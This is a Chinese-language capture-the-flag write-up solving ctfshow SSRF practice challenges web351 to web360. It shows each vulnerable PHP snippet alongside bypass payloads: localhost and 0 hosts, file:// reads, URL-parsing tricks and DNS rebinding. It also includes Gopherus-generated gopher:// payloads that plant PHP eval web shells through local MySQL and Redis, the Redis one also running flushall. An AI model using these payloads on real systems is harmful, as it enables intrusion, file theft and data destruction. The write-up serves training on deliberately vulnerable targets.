Practice - CTFSHOW WEB入门 SSRF篇

(Updated: )
,

web351

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<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
?>

考的是 ssrf，考虑 flag 需要本地访问才可以得到。访问 flag.php 可以看到提示 非本地用户禁止访问。
试了下 gopher fastcgi 没打通
payload: url=http://localhost/flag.php
curl 支持多种协议，其中就包括 file://，可以直接读文件输出。
payload: url=file:///var/www/html/flag.php

web352-353

https://blog.csdn.net/rfrder/article/details/113853929

web354

解析一个域名到 127.0.0.1
payload: url=http://home.477.moe/flag.php

web355-356

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<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if($x['scheme']==='http'||$x['scheme']==='https'){
$host=$x['host'];
if((strlen($host)<=5)){
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
}
else{
    die('hacker');
}
}
else{
    die('hacker');
}
?>

payload: url=http://0/flag.php
没活了可以咬打火机

web357

dns 重绑定或写个 php 重定向到 http://127.0.0.1/flag.php
DNS Rebinding: https://lock.cmpxchg8b.com/rebinder.html?tdsourcetag=s_pctim_aiomsg 可以让同一个域名随机指向两个 ip

web358

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<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if(preg_match('/^http:\/\/ctf\..*show$/i',$url)){
    echo file_get_contents($url);
}

payload: url=http://ctf.@0/flag.php#show

web359

提示打 mysql 

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$ python2 gopherus.py --exploit mysql


  ________              .__
 /  _____/  ____ ______ |  |__   ___________ __ __  ______
/   \  ___ /  _ \\____ \|  |  \_/ __ \_  __ \  |  \/  ___/
\    \_\  (  <_> )  |_> >   Y  \  ___/|  | \/  |  /\___ \
 \______  /\____/|   __/|___|  /\___  >__|  |____//____  >
        \/       |__|        \/     \/                 \/

                author: $_SpyD3r_$

For making it work username should not be password protected!!!

Give MySQL username: root
Give query to execute: select 0x3c3f706870206576616c28245f504f53545b315d293b203f3e into outfile '/var/www/html/sh.php';

Your gopher link is ready to do SSRF :

gopher://127.0.0.1:3306/_%a3%00%00%01%85%a6%ff%01%00%00%00%01%21%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%72%6f%6f%74%00%00%6d%79%73%71%6c%5f%6e%61%74%69%76%65%5f%70%61%73%73%77%6f%72%64%00%66%03%5f%6f%73%05%4c%69%6e%75%78%0c%5f%63%6c%69%65%6e%74%5f%6e%61%6d%65%08%6c%69%62%6d%79%73%71%6c%04%5f%70%69%64%05%32%37%32%35%35%0f%5f%63%6c%69%65%6e%74%5f%76%65%72%73%69%6f%6e%06%35%2e%37%2e%32%32%09%5f%70%6c%61%74%66%6f%72%6d%06%78%38%36%5f%36%34%0c%70%72%6f%67%72%61%6d%5f%6e%61%6d%65%05%6d%79%73%71%6c%61%00%00%00%03%73%65%6c%65%63%74%20%30%78%33%63%33%66%37%30%36%38%37%30%32%30%36%35%37%36%36%31%36%63%32%38%32%34%35%66%35%30%34%66%35%33%35%34%35%62%33%31%35%64%32%39%33%62%32%30%33%66%33%65%20%69%6e%74%6f%20%6f%75%74%66%69%6c%65%20%27%2f%76%61%72%2f%77%77%77%2f%68%74%6d%6c%2f%73%68%2e%70%68%70%27%3b%01%00%00%00%01

-----------Made-by-SpyD3r-----------

/_后还需要一层 url 编码 

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POST /check.php HTTP/1.1
Host: ac1854c8-c19c-4d74-86c1-9ba10f2164af.challenge.ctf.show
Content-Length: 2500
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://ac1854c8-c19c-4d74-86c1-9ba10f2164af.challenge.ctf.show
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://ac1854c8-c19c-4d74-86c1-9ba10f2164af.challenge.ctf.show/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: __e_inc=1
Connection: close

u=Username&returl=gopher://127.0.0.1:3306/_%25%61%33%25%30%30%25%30%30%25%30%31%25%38%35%25%61%36%25%66%66%25%30%31%25%30%30%25%30%30%25%30%30%25%30%31%25%32%31%25%30%30%25%30%30%25%30%30%25%30%30%25%30%30%25%30%30%25%30%30%25%30%30%25%30%30%25%30%30%25%30%30%25%30%30%25%30%30%25%30%30%25%30%30%25%30%30%25%30%30%25%30%30%25%30%30%25%30%30%25%30%30%25%30%30%25%30%30%25%37%32%25%36%66%25%36%66%25%37%34%25%30%30%25%30%30%25%36%64%25%37%39%25%37%33%25%37%31%25%36%63%25%35%66%25%36%65%25%36%31%25%37%34%25%36%39%25%37%36%25%36%35%25%35%66%25%37%30%25%36%31%25%37%33%25%37%33%25%37%37%25%36%66%25%37%32%25%36%34%25%30%30%25%36%36%25%30%33%25%35%66%25%36%66%25%37%33%25%30%35%25%34%63%25%36%39%25%36%65%25%37%35%25%37%38%25%30%63%25%35%66%25%36%33%25%36%63%25%36%39%25%36%35%25%36%65%25%37%34%25%35%66%25%36%65%25%36%31%25%36%64%25%36%35%25%30%38%25%36%63%25%36%39%25%36%32%25%36%64%25%37%39%25%37%33%25%37%31%25%36%63%25%30%34%25%35%66%25%37%30%25%36%39%25%36%34%25%30%35%25%33%32%25%33%37%25%33%32%25%33%35%25%33%35%25%30%66%25%35%66%25%36%33%25%36%63%25%36%39%25%36%35%25%36%65%25%37%34%25%35%66%25%37%36%25%36%35%25%37%32%25%37%33%25%36%39%25%36%66%25%36%65%25%30%36%25%33%35%25%32%65%25%33%37%25%32%65%25%33%32%25%33%32%25%30%39%25%35%66%25%37%30%25%36%63%25%36%31%25%37%34%25%36%36%25%36%66%25%37%32%25%36%64%25%30%36%25%37%38%25%33%38%25%33%36%25%35%66%25%33%36%25%33%34%25%30%63%25%37%30%25%37%32%25%36%66%25%36%37%25%37%32%25%36%31%25%36%64%25%35%66%25%36%65%25%36%31%25%36%64%25%36%35%25%30%35%25%36%64%25%37%39%25%37%33%25%37%31%25%36%63%25%36%31%25%30%30%25%30%30%25%30%30%25%30%33%25%37%33%25%36%35%25%36%63%25%36%35%25%36%33%25%37%34%25%32%30%25%33%30%25%37%38%25%33%33%25%36%33%25%33%33%25%36%36%25%33%37%25%33%30%25%33%36%25%33%38%25%33%37%25%33%30%25%33%32%25%33%30%25%33%36%25%33%35%25%33%37%25%33%36%25%33%36%25%33%31%25%33%36%25%36%33%25%33%32%25%33%38%25%33%32%25%33%34%25%33%35%25%36%36%25%33%35%25%33%30%25%33%34%25%36%36%25%33%35%25%33%33%25%33%35%25%33%34%25%33%35%25%36%32%25%33%33%25%33%31%25%33%35%25%36%34%25%33%32%25%33%39%25%33%33%25%36%32%25%33%32%25%33%30%25%33%33%25%36%36%25%33%33%25%36%35%25%32%30%25%36%39%25%36%65%25%37%34%25%36%66%25%32%30%25%36%66%25%37%35%25%37%34%25%36%36%25%36%39%25%36%63%25%36%35%25%32%30%25%32%37%25%32%66%25%37%36%25%36%31%25%37%32%25%32%66%25%37%37%25%37%37%25%37%37%25%32%66%25%36%38%25%37%34%25%36%64%25%36%63%25%32%66%25%37%33%25%36%38%25%32%65%25%37%30%25%36%38%25%37%30%25%32%37%25%33%62%25%30%31%25%30%30%25%30%30%25%30%30%25%30%31

web360

提示打 redis，想打 fastcgi 打不通。。。 

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$ python2 gopherus.py --exploit redis


  ________              .__
 /  _____/  ____ ______ |  |__   ___________ __ __  ______
/   \  ___ /  _ \\____ \|  |  \_/ __ \_  __ \  |  \/  ___/
\    \_\  (  <_> )  |_> >   Y  \  ___/|  | \/  |  /\___ \
 \______  /\____/|   __/|___|  /\___  >__|  |____//____  >
        \/       |__|        \/     \/                 \/

                author: $_SpyD3r_$


Ready To get SHELL

What do you want?? (ReverseShell/PHPShell): PHPShell

Give web root location of server (default is /var/www/html):
Give PHP Payload (We have default PHP Shell): <?php eval($_POST[1]); ?>

Your gopher link is Ready to get PHP Shell:

gopher://127.0.0.1:6379/_%2A1%0D%0A%248%0D%0Aflushall%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0A1%0D%0A%2429%0D%0A%0A%0A%3C%3Fphp%20eval%28%24_POST%5B1%5D%29%3B%20%3F%3E%0A%0A%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%2413%0D%0A/var/www/html%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%249%0D%0Ashell.php%0D%0A%2A1%0D%0A%244%0D%0Asave%0D%0A%0A

When it's done you can get PHP Shell in /shell.php at the server with `cmd` as parmeter.

-----------Made-by-SpyD3r-----------